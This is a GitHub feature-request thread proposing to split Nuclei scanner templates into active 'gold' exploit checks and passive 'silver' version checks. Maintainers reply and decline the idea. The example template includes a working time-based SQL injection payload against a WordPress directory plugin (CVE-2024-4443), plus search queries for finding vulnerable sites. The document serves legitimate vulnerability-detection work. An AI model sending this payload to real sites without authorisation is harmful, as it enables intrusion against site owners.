Enhancing Nuclei Templates with a Strategic Gold/Silver Security Layer

[Kazgangap]

Describe your feature request

Hi guys.
I am a community member who has been using Nuclei for a long time and who has prepared more than 200 templates and sent them to the nuclei-templates repository. In this process I have dealt with scenarios that include both tests involving active exploitation and those containing version/fingerprint checks.

Over time I noticed a very fundamental need:
Nuclei currently handles whether a system is “risky” or “exploitable” under a single detection logic.
However, these two concepts — potential risk and confirmed impact — have very different security priorities in practice.

Where I Drew Inspiration?
The Golden Ticket / Silver Ticket concept in Active Directory became the starting point of this structure. Although they are not tightly related (perhaps only their names are similar 😄), when applied here:

• Gold: Active exploitation test that confirms impact
• Silver: Risky system detection via version/fingerprint

In particular, even if in some cases I couldn’t directly perform an exploit, I could detect that vulnerable systems were operational:

• WAFs can block payloads (e.g. /etc/passwd).
• CORS errors or access restrictions prevent impact.
• Still, the product version or page content clearly shows that it is vulnerable.

These detections are vitally important for security hardening even if there is no active attack.

Proposed Structure: and Layers

gold: – Active Detection
Purpose: To prove exploitability
Content: Active payloads (SSRF, RCE, file access, etc.)
Behavior: Runs by default

silver: – Passive Detection
Purpose: To determine version, product, or configuration risk
Content: readme.txt, headers, banner, metadata, version matches
Behavior: Runs only with the --with-silver or --only-silver CLI flag

Benefits of This Approach

• Conceptual Clarity: The type of risk (confirmed vs. potential) can be separated.
• Secure Default: Silver does not come into play unless the user explicitly wants it.
• Increased Community Participation: Anyone who knows version information can contribute; vulnerabilities that don’t require proof of concept can be acted on quickly.
• Automated Template Generation: Silver-only templates can be generated from sources like CVE/NVD.
• Test Safety: Passive checks can be safely run even on production systems.
• Reporting Depth: Vulnerability detection can be positioned more accurately in reports.
• Process Separation: Silver → planned hardening, Gold → urgent response processes are supported.
• CI/CD Compatibility: Automation steps like silver warning, gold stop can be defined.
• Easier Security Hardening: Systems to be prioritized become clear.
• Automated WordPress Templates: Silver-only templates can be generated for thousands of plugins, and Gold/Silver can complement each other.

Answers to Possible Questions

Does this structure require changes to the Nuclei engine?

Yes. However, this work not only forms a strong foundation for this model but also for future detection logic. Existing classic templates containing http: are automatically interpreted as gold, preserving backward compatibility.

Will the CLI become more complicated?

No. The --with-silver, --only-silver, and --only-gold flags are intuitive and user-friendly.

Will silver-only templates be skipped?

Yes. If the user does not use the silver flag, templates containing only silver blocks will not run.

Do filters like or trigger Silver?

No. Only the relevant CLI flags activate the silver layer.

Will the YAML file become more complicated?

Even if the file grows, readability and maintainability increase because the blocks are isolated.

Will the community split?

No. A more balanced and contribution-friendly structure forms according to areas of expertise. Non-technical users can also contribute version-based checks.

Could Silver mislead users?

No. Silver scans are opt-in and clearly flagged.

Do Gold and Silver interfere?

No. They are isolated layers with independent lifecycles and updates.

Will metadata incompatibility occur?

No. All info: and classification: fields remain at the top; only detection logic is layered.

How will the user know what they tested?

CLI flags (--with-silver, --only-silver, --only-gold) and layer information in the logs make it explicit.

Why does it truly make a difference?

A version-based finding—while not immediately exploitable—signals that a system needs hardening. In enterprise security, that distinction is critical.

Planned Implementations

• CLI Enhancements: Add --with-silver, --only-silver, and --only-gold flags.
• YAML Parser Updates: Parse separate gold: and silver: blocks.
• Template Validator: Include layer information (e.g. “silver-only”) in nuclei validate output.

Conclusion

This structure deepens the meaning of Nuclei templates, simplifies control over security testing and encourages wider community participation. It also facilitates automation and hardening processes. I aim to take the power of Nuclei one step further by applying the Gold/Silver Ticket concept (not exactly the same, I know) to technical vulnerability detection.

With love to the ProjectDiscovery Community
— Kazgangap

Describe the use case of the feature

Example Template (CVE-2024-4443)

id: CVE-2024-4443

info:
  name: Business Directory Plugin <= 6.4.2 - SQL Injection
  author:
    - s4e-io
    - topscoder
  severity: critical
  description: |
    The Business Directory Plugin – Easy Listing Directories for WordPress plugin
    is vulnerable to time-based SQL Injection via the 'listingfields' parameter in
    all versions up to 6.4.2 due to insufficient escaping of user-supplied input.
  impact: |
    Unauthenticated attackers can append additional SQL queries to extract sensitive
    information from the database.
  remediation: |
    Fixed in version 6.4.3.
  reference:
    - https://plugins.trac.wordpress.org/browser/business-directory-plugin/trunk/includes/fields/class-fieldtypes-select.php#L110
    - https://plugins.trac.wordpress.org/changeset/3089626/
    - https://www.wordfence.com/threat-intel/vulnerabilities/id/982fb304-08d6-4195-97a3-f18e94295492?source=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2024-4443
    - https://github.com/topscoder/nuclei-wordfence-cve
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-4443
    epss-score: 0.00063
    epss-percentile: 0.27036
    cpe: cpe:2.3:a:businessdirectoryplugin:business_directory:*:*:*:*:wordpress:*:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/business-directory-plugin/"
    product: business_directory
    vendor: businessdirectoryplugin
    fofa-query: "wp-content/plugins/business-directory-plugin/"
    google-query: inurl:"/wp-content/plugins/business-directory-plugin/"
    shodan-query: 'vuln:CVE-2024-4443'
  tags:
    - time-based-sqli
    - cve
    - cve2024
    - sqli
    - business-directory
    -wordpress
    - wp-plugin

gold:
  http:
    - raw:
        - |
          @timeout: 20s
          POST /business-directory/?dosrch=1&q=&wpbdp_view=search&listingfields[+or+sleep(if(1%3d1,6,0))+))--+-][1]= HTTP/1.1
          Host: {{Hostname}}
      
      matchers:
        - type: dsl
          dsl:
            - "duration >= 6"
            - "status_code == 200"
            - 'contains_all(body, "Business Directory", "No listings found")'
          condition: and
silver:
  http:
    - method: GET
      redirects: true
      max-redirects: 3
      path:
        - "{{BaseURL}}/wp-content/plugins/business-directory-plugin/readme.txt"
      extractors:
        - type: regex
          name: version
          part: body
          group: 1
          internal: true
          regex:
            - "(?mi)Stable tag: ([0-9.]+)"
      matchers-condition: and
      matchers:
        - type: status
          status:
            - 200
        - type: word
          part: body
          words:
            - "business-directory-plugin"
        - type: dsl
          dsl:
            - compare_versions(version, '<= 6.4.2')

Describe alternatives you've considered

No response

Additional context

No response

[GeorginaReeder]

This is a great, detailed feature request @Kazgangap - thank you so much, we'll take a look into it!

[github-actions[bot]]

This issue has been automatically marked as stale because it has not had recent activity. It will be closed in 7 days if no further activity occurs. Thank you for your contributions!

[ehsandeep]

@Kazgangap thanks for the feedback!

Currently, we don’t have multiple variants of the same template that require different severity levels. If it becomes more common in the future, we can revisit the idea. For now, a single template should be sufficient in most cases.